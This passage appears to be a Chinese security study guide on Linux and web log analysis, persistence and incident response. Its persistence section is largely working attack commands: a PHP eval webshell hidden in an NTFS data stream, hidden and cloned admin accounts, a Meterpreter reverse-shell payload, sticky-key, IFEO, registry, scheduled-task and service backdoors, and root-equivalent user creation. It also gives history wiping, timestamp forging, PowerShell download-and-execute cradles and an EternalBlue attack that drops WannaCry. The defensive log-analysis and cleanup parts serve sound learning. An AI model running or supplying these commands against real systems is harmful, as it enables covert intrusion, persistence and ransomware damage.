cat input_file | tail -n +1000 | head -n 2000 #从第1000行开始,显示2000行。即显示1000~2999行
4、查找命令
find /etc -name init //在目录/etc中查找文件init
5、只显示/etc/passwd的账户
cat /etc/passwd | awk -F ':' '{print $1}' //awk -F指定域分隔符为':',将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个 域,$n表示第n个域。
6、删除历史操作记录
sed -i '153,$d' .bash_history //删除历史操作记录,只保留前153行
日志分析技巧
1、/var/log/secure
1、定位有多少IP在爆破主机的root账号: grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 2、定位有哪些IP在爆破: grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]? [0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]? [0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c 3、爆破用户名字典是什么? grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c|sort -nr 4、登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 5、登录成功的日期、用户名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
2、/var/log/yum.log
软件安装升级卸载日志:
[root@bogon ~]# more /var/log/yum.log Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686
Web日志分析
Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。
我们来看一条Apache的访问日志:
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、使用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。
日志分析技巧
在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。
1、确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。
举例:SQL注入攻击,在web日志能看到什么?
GET方法:在web日志中,通过接口地址我就可以看到注入的payload,比如1‘ and 1=1 #
POST方法:通过大量的访问记录,找到攻击的接口地址,根据响应码判断是否攻击成功,以及确认该接
口是否与数据库产生交互。
2、攻击者在入侵网站后,通常会留下后门维持权限,以便再次访问,我们可以找到该文件,并以此为线索来展开分析。
后门怎么来的? –> 查看web日志,根据后门文件的创建时间去查看前后的日志 –> 看看系统登陆日志
常用分析工具:
- Window下,推荐用 EmEditor/Notepad++ 进行日志分析,支持大文本,搜索效率不错。
- Linux下,使用Shell命令组合查询分析。一般结合grep、awk等命令等实现常用的日志分析统计技巧。
Apache日志分析技巧:
1、列出当天访问次数最多的IP命令: cut -d- -f 1 log_file|uniq -c | sort -rn | head -20 2、查看当天有多少个IP访问: awk '{print $1}' log_file|sort | uniq | wc -l 3、查看某一个页面被访问的次数: grep "/index.php" log_file | wc -l 4、查看每一个IP访问了多少个页面: awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file 5、将每个IP访问的页面数进行从小到大排序: awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n 6、查看某一个IP访问了哪些页面: grep ^IP log_file| awk '{print $1,$7}' 7、去掉搜索引擎统计当天的页面: awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' | sort | uniq | wc -l 8、查看2022年6月21日14时这一个小时内有多少IP访问: awk '{print $4,$1}' log_file | grep 21/Jun/2022:14 | awk '{print $2}'| sort | uniq | wc -l
日志分析案例
实例:通过nginx代理转发到某内网服务器,内网服务器某站点目录下被上传了多个图片木马,虽然IIS下不能解析,但还是想找出谁通过什么路径上传的。
在这里,我们遇到了一个问题:由于设置了代理转发,只记录了代理服务器的IP(即nginx),并没有记录访问者IP?这时候,如何去识别不同的访问者和攻击源呢?
这是管理员日志配置不当的问题,但好在我们可以通过浏览器指纹来定位不同的访问来源,还原攻击路径。
1、定位攻击源
首先访问图片木马的记录,只找到了一条,由于所有访问日志只记录了代理IP,并不能通过IP来还原攻击路径,这时候,可以利用浏览器指纹来定位。
shell.asp;.jpg
more u_ex180408.log | grep "asp;."
... /up/dj/2012.asp;.jgp ...
浏览器指纹:
Mozilla/4.0+ (compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.N ET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)
2、搜索相关日志记录
通过筛选与该浏览器指纹有关的日志记录,可以清晰地看到攻击者的攻击路径。
3、对找到的访问日志进行解读,攻击者大致的访问路径如下
A、攻击者访问首页和登录页 B、攻击者访问MsgSjlb.aspx和MsgSend.aspx C、攻击者访问Xzuser.aspx D、攻击者多次POST(怀疑通过这个页面上传模块缺陷) E、攻击者访问了图片木马
打开网站,访问Xzuser.aspx,确认攻击者通过该页面的进行文件上传了图片木马,同时,发现网站了存在越权访问漏洞,攻击者访问特定URL,无需登录即可进入后台界面。通过日志分析找到网站的漏洞位置并进行修复。
日志统计分析技巧
统计爬虫:
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
统计浏览器:
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
IP 统计:
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 3 2206 219.136.134.13 1497 182.34.15.248 1431 211.140.143.100
统计网段:
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
统计域名:
cat /www/logs/access.2019-02-23.log | awk '{print $2}' | sort | uniq -c | sort - rn | more
HTTP Status:
cat /www/logs/access.2019-02-23.log | awk '{print $9}' | sort | uniq -c | sort - rn | more
5056585 304
1125579 200
7602 400
5 301
URL统计:
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | sort | uniq -c | sort - rn | more
文件流量统计:
cat /www/logs/access.2019-02-23.log | awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}' | sort -rn | more grep ' 200 ' /www/logs/access.2019-02-23.log | awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}' | sort -rn | more
URL访问量统计:
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
脚本运行速度:查出运行速度最慢的脚本
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
IP,URL 抽取:
# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
Mysql日志分析
使用环境:DVWA
Mysql 中的 general_log 能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息 show variables like '%general%'; 2、开启日志 SET GLOBAL general_log = 'On'; 3、指定日志文件路径 #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
查看mysql日志文件:
root@a2c8a6d15492:/# tail /var/log/mysql/mysql.log
246 Connect root@localhost on dvwa
245 Quit
246 Quit
231013 1:34:38 247 Connect root@localhost on
247 Query select @@version_comment limit 1
231013 1:34:41 247 Quit
231013 1:35:07 248 Connect root@localhost on
248 Query select @@version_comment limit 1
231013 1:35:34 248 Query show variables like '%log%'
231013 1:35:48 248 Quit
按列来解析一下:
第一列:Time 前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以 就不另外记录时间了。 第二列:ID show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是 哪一个线程在运行。 第三列:Command,操作类型 比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过滤一些操作。 第四列:Argument,详细信息 例如 Connect root@localhost on 意思就是连接数据库,以此类推,接下面的连上数据库之后,做了什 么查询的操作。
Mysql暴力破解日志分析
- 查看登录日志是否开启:show variables like '%general%';
- 发现登录日志关闭,日志文件位置为:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\Win7-PC.log
- 开启登录日志:SET GLOBAL general_log='on';
- 利用hydra爆破Mysql,生成Win7-PC.log日志
hydra 192.168.75.131 mysql -l root -P pwd.txt -vV
登录失败的记录:不管是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。
80 Connect [email protected] on using TCP/IP 80 Connect Access denied for user 'root'@'192.168.108.128' (using password: YES)
登录成功的记录:不同的爆破工具或者登录方式,显示出来的口令猜解成功的记录会有所差别。这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户连接数据库的方式。
Navicat for MySQL登录:
2022-11-06T13:49:03.648194Z 145 Connect root@LAPTOP-5NFOIJFJ on using TCP/IP 2022-11-06T13:49:03.648194Z 145 Query SET NAMES utf8mb4 2022-11-06T13:49:03.710594Z 145 Query SHOW VARIABLES LIKE 'lower_case_%'; 2022-11-06T13:49:03.835394Z 145 Query SHOW VARIABLES LIKE 'sql_mode'; 2022-11-06T13:49:03.882194Z 145 Query SELECT COUNT(*) AS support_ndb FROM information_schema.ENGINES WHERE Engine = 'ndbcluster' 2022-11-06T13:49:03.897794Z 145 Query SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME FROM
命令行登录:
2022-11-06T13:49:03.648194Z 111 Connect root@localhost on 111 Query select @@version_comment limit 1 2022-11-06T13:49:03.710594Z 145 Quit
还可以利用shell命令进行简单的分析:
有哪些IP在爆破?
grep "Access denied" Win7-PC.log |cut -d "'" -f4 | uniq -c | sort -nr 50 192.168.108.128 20 LAPTOP-5NFOIJFJ
发现192.168.108.128在爆破
爆破的用户名字典是哪些?
grep "Access denied" Win7-PC.log |cut -d "'" -f2 | uniq -c | sort -nr 70 root
发现用户名字典为root。
权限维持
主要内容:
- Windows 权限维持-隐藏
- Windows 权限维持-后门
- Linux 权限维持-隐藏
- Linux 权限维持-后门
- Windows 命令行文件下载方式汇总
- 渗透测试框架权限维持技术
- 常见 webshell 管理工具
拿到webshell后如何维护自己的权限?
Windows权限维持-隐藏篇
使用环境:Windows Server 2008
隐藏文件
方法1-利用文件属性
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件夹里看不到刚刚的文件了。
这样就看不见one.php
查看“组织-文件夹和搜索选项”显示隐藏文件即可
真正隐藏文件:使用Attrib +s +a +h +r命令就是把原本的文件增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r one.php
这样就做到了真正的隐藏,不管你是否显示隐藏文件,在此文件夹内都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
方法2-利用ADS(Alternate Data Streams)隐藏文件内容
ADS交换数据流,是NTFS磁盘格式的一个特性,在NTFS系统中每个文件可以存在多个数据流,这样可以把其它的文件寄宿在某个文件上,在资源管理器中只能看到一个数据文件而看不到寄宿文件。windows电脑磁盘一般都是NTFS格式
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这么做:
echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出hidden.jpg。
问题1:如何查看index.php:hidden.jpg内容呢? 进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r 问题2:如何删除index.php:hidden.jpg? 宿主文件没有了,寄宿文件也就没了。 直接删除index.php即可
隐藏账号
Windows隐藏系统用户操作,CMD命令行下,建立了一个用户名为test$,密码为111qqq!的简单隐藏账户,并且把该隐藏账户提升为管理员权限。
net user test$ 111qqq! /add #创建隐藏账号 net user
CMD命令行使用"net user",看不到"test$"这个账号,但在控制面板和本地用户和组是可以显示此用户的。
想要把该隐藏账户提升为管理员权限,可以进行账号克隆。
克隆账号的制作过程如下:
“开始”→“运行”,输入“regedit”后回车,到“HKEY_LOCAL_MACHINE\SAM\SAM”,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予"写入"和"读取控制"权限,没有给予修改权限,因此我们没有办法对"SAM"项下的键值进行查看和修改。单机右键权限,把名为“administrator”的用户赋予完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器。
再次打开注册表
复制administrator的F值到test$账户
利用test$/111qqq!远程登录,即是administrator权限,为administrator桌面。
检测和清理方法:
使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
进程注入
生成一个msf后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=121.196.62.22 LPORT=7764 -f exe >7764.exe
获得一个meterpreter的shell
use exploit/multi/hander set payload windows/x64/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 7764 exploit meterpreter> getuid Server username: WIN-148\Administrator
查看进程
注入进程,getuid发现成为了syetem权限。
migrate 320 # 进程迁移,320为正常服务的进程号
Windows权限维持-后门篇
使用环境:Windows Server 2008
粘滞键后门
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。sethc.exe就是windows中粘滞键的调用文件。
sethc.exe文件的属性,默认情况下是属于TrustedInstaller所有,不管是普通用户还是administrator都没有权限对它进行编辑的。TrustedInstaller是一个安全机制,权限比administrator管理权高,但比system低。文件位置在c:/Windows/Syste32中
修改sethc.exe的安全设置当前所有者为administrator,右键属性找到安全,在高级中设置。
保证administrator对sethc.exe完全控制,点击安全选项下组或用户名Administrator编辑,勾选完全控制
粘滞键位置:c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe #将原本的sethc改名为sethc1 copy cmd.exe sethc.exe #将cmd复制并重命名为sethc
此时在登录界面连按五次shift键即可启动cmd,而且不需要登录就可以执行。
Logon Scripts后门
Logon Scripts是Windows登录脚本,当用户登录时触发,它能够优先于杀毒软件执行,从而绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe" #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
注销之后重新登陆服务器,即可上线
映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。
当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsNT架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它的运行就不会出问题。
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此时点击五次shift键会打开cmd。
注册表自启动后门
位置一:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
添加键test1,值为后门程序路径。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
重新启动会自动运行后门程序,上线成功。
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改键Userinit的值,重启就会自动运行程序。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
C:\Users\Administrator\Desktop\7764.exe
重新启动会自动运行后门程序,上线成功。
计划任务后门
schtasks命令设定计划自启动后门程序。
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1 #每1分钟自动执行7764.exe chcp 437 #修改编码 schtasks #查看计划任务
1分钟后收到会话
删除计划任务:
schtasks /delete /tn Updater
服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。
sc create test binpath= C:\Users\Administrator\Desktop\7764.exe (注意等号后面有空 格)#创建服务 sc config test start= auto #设置服务为自动启动,即使服务被关闭了还会被启动起来 net start test #启动服务
Linux权限维持-隐藏篇
使用环境:CentOS
攻击者在获取Linux服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件。
隐藏文件
Linux 下创建一个隐藏文件:
touch .1.txt
touch 命令可以创建一个文件,文件名前面加一个点就代表是隐藏文件,如下图:
一般的Linux下的隐藏目录使用命令 ls -l 是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令: ls -la
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。
如 temp.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
隐藏文件时间戳
Linux下隐藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
将时间戳修改成某年某月某日。如下修改one.php时间戳为:2019年08月08日。
touch -t 1908081042.30 one.php
隐藏权限
在Linux中,使用chattr命令为文件添加锁定属性,来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i evil.php 为文件添加锁定属性 lsattr evil.php 属性查看 chattr -i evil.php 解除锁定 rm -rf evil.php 删除文件
隐藏历史操作命令
如果在shell中执行的命令,不希望被记录在历史命令中,如何在Linux中开启无痕操作模式呢?
技巧一:只针对你的操作关闭历史记录
[space]set +o history
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史命令中,然而这个命令之前的所有东西都会原样记录在历史命令中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
技巧二:从历史记录中删除指定的命令
假设历史命令中已经包含了一些你不希望记录的命令,这种情况下我们怎么办?很简单,通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条命令前面会有个数字。从历史记录中删除指定的项:
history -d [num]
这种技巧是关键记录删除,其他情况比如前150行是用户的正常操作记录,150以后是攻击者操作记录。
我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
Linux权限维持-后门篇
使用环境:Kali Linux
一句话添加用户和密码
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest # useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句 useradd -p "$(openssl passwd -1 123456)" guest # chpasswd方法 useradd guest;echo 'guest:123456'|chpasswd # echo -e方法 useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
# 创建一个用户名guest,密码123456的root用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest1 -o -u 0 -g root -G root -s /bin/bash -d /home/test ]# su guest ]# whoami root
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd # 查询可以远程登录的账号信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow # 除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
SSH免密登录
在客户端上生成一对公私钥,然后把公钥安装到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。
在服务器上执行命令:
ssh-keygen -t rsa
过程中按三次回车。
进入/root/.ssh/文件夹查看内容,其中 id_rsa 为私钥, id_rsa.pub 为公钥。
接下来需要在服务器上安装公钥,即将 id_rsa.pub 的内容追加到 root.ssh/authorized_keys 内:
cat id_rsa.pub >> authorized_keys
vim /etc/ssh/sshd_config,开启密钥登录的认证方式:
PermitRootLogin yes PubkeyAuthentication yes /etc/init.d/ssh start
将私钥提取出来保存到本地,可以利用此密钥直接进行登录:
排查技巧:查看 root.ssh/authorized_keys 是否被修改,结合文件时间戳、历史命令等进行排查。
Windows命令行文件下载方式汇总
使用环境:Windows Server 2008
当我们通过Web渗透获取了一个RCE漏洞,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?一般来说,实现Windows文件下载执行的方式主要如下:
- 第一种,远程下载文件到本地,然后再执行;
- 第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式。
下面是常见的文件下载执行的方式:
PowerShell
PowerShell是一种命令行外壳程序和脚本环境,使得命令行用户和脚本编写者可以利用。
远程下载文件保存在本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.85.1/one.exe','one.exe')
远程执行命令:以隐藏的方式下载并执行后门
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.85.1/one.exe'))"
Bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
bitsadmin /transfer n http://192.168.85.1/one.exe .\
certutil
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
#下载文件 certutil -urlcache -split -f http://192.168.85.1/one.exe one.exe #删除缓存 certutil -urlcache -split -f http://192.168.85.1/one.exe one.exe delete
msiexec
msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:
#生成msi包作用是执行calc.exe msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi #远程执行 msiexec /q /i http://192.168.85.1/calc.msi
生成msi包
远程执行
mshta
mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
mshta http://192.168.85.1/run.hta
run.hta内容为:
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" // 这里填写命令 self.close </script> <body> demo </body> </HEAD> </HTML>
渗透测试框架权限维持技术
MSF维持权限的使用前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法如下:
Persistence模块
通过启动项启动(persistence)的方式,在目标机器上以反弹回连。
-U:设置后门在用户登录后自启动。该方式会在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表信息。 -X:设置后门在系统启动后自启动。该方式会在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下添加注册表信息。这里可能会由于环境 问题,导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限)
run persistence -X -i 5 -p 9999 -r IP -P windows/x64/meterpreter/reverse_tcp
-i 设置回连的时间间隔
-p 设置监控的端口,windows没有被占用的端口
-r kali 服务器的地址
生成的相关文件位置 :
# 后门文件位置: C:\Windows\Temp C:\Users\Administrator\AppData\Local\Temp # 注册表位置: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
在Kali中修改监听端口为9999,重新启动目标机器,即可再次收到会话。
常见Webshell管理工具
菜刀
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。攻击特征比较明显没有做加密,容易被各安全设备检测到。
蚁剑
AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。
工具地址:https://github.com/AntSwordProject/antSword
冰蝎
冰蝎是一款动态二进制加密网站管理客户端。java开发。最大的特点是会对交互的流量进行一个aes对称加密并用加密的密钥是随机生成的,客户端的流量几乎很难做检测。
工具地址:https://github.com/rebeyond/Behinder
哥斯拉
哥斯拉是一款优秀的权限管理工具,内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件。
工具地址:https://github.com/BeichenDream/Godzilla
Windows 实战
主要内容:
- FTP 暴力破解
- 勒索病毒
- 挖矿病毒
FTP暴力破解
FTP是一个文件传输协议,用户通过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、日常源码备份等。如果攻击者通过FTP匿名访问或者弱口令获取FTP权限,可直接上传webshell,进一步渗透提权,直至控制整个网站服务器。
eventvwr.msc,发现大量登录任务类别。
筛选当前日志,事件id填写4625
发现存在1248条,猜测服务器正在被人暴力破解。
将筛选出来的日志另存为:暴力破解
进一步使用Log Parser对日志提取数据分析,发现攻击者使用了大量的用户名进行爆破,例如用户名:fxxx,共计进行了17826次口令尝试,攻击者基于“fxxx”这样一个域名信息,构造了一系列的用户名字典进行有针对性进行爆破,如下图:
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as times,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM 暴力破解.evtx where EventID=4625 group by message"
发现EventType为8的时候攻击者进行爆破次数最多。
登录类型8:为网络明文(NetworkCleartext)
这种登录表明这是一个像类型3一样的网络登录,但是这种登录的密码在网络上是通过明文传输的,WindowsServer服务是不允许通过明文验证连接到共享文件夹或打印机的,通常只有当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型。“登录过程”栏都将列出Advapi。我们推测可能是FTP服务:
应急处理措施:
1、关闭外网FTP端口映射
2、删除本地服务器FTP测试
3、禁止使用FTP传输文件,若必须开放应限定管理IP地址并加强口令安全审计(口令长度不低于8位,由数字、大小写字母、特殊字符等至少两种以上组合构成)。
4、更改服务器FTP默认端口。
5、部署入侵检测设备,增强安全防护。
勒索病毒
“永恒之蓝”利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统;被扫描到的Windows系统,只要开机上线,不要要用户进行任何操作,即可通过共享漏洞上传wannacry勒索病毒,远程控制木马等恶意程序。
WannaCry是在永恒之蓝的基础上产生的,因此需要先通过永恒之蓝获得shell权限。
永恒之蓝的编号是MS17-010,先使用msfconsole搜索一下漏洞模块
使用扫描模块进行扫描
use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.85.188 set rport 445 exploit
发现目标主机存在ms17-010漏洞
接下来使用攻击模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.85.188
exploit
攻击成功,上传WannaCry病毒,upload tmp/wannacry.exe c:/
然后执行wannacry.exe,发现主机系统已经被勒索病毒攻击:
一旦中了勒索病毒,文件会被锁死,没有办法正常访问了,这时候,会给使用者带来极大的困恼。为了防范这样的事情出现,我们电脑上要先做好一些防范措施:
- 安装杀毒软件,保持监控开启,定期全盘扫描
- 及时更新 Windows安全补丁,开启防火墙临时关闭端口,如445、135、137、138、139、3389等端口
- 及时更新web漏洞补丁,升级web组件
- 备份。重要的资料一定要备份,谨防资料丢失
- 强化网络安全意识,陌生链接不点击,陌生文件不要下载,陌生邮件不要打开
挖矿病毒
随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。
挖矿病毒案例:
某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重。
登录网站服务器进行排查,发现多个异常进程:
分析进程参数:wmic process get caption,commandline /value >> tmp.txt
访问该链接:http://45.123.190.178/win.txt
Temp目录下发现Carbon、run.bat挖矿程序:
清除挖矿病毒:关闭异常进程、删除c盘temp目录下挖矿程序 。
Linux 实战
SSH暴力破解
SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。
日志分析:
SSH端口异常,我们首先有必要先来了解一下系统账号情况:
1、系统账号情况
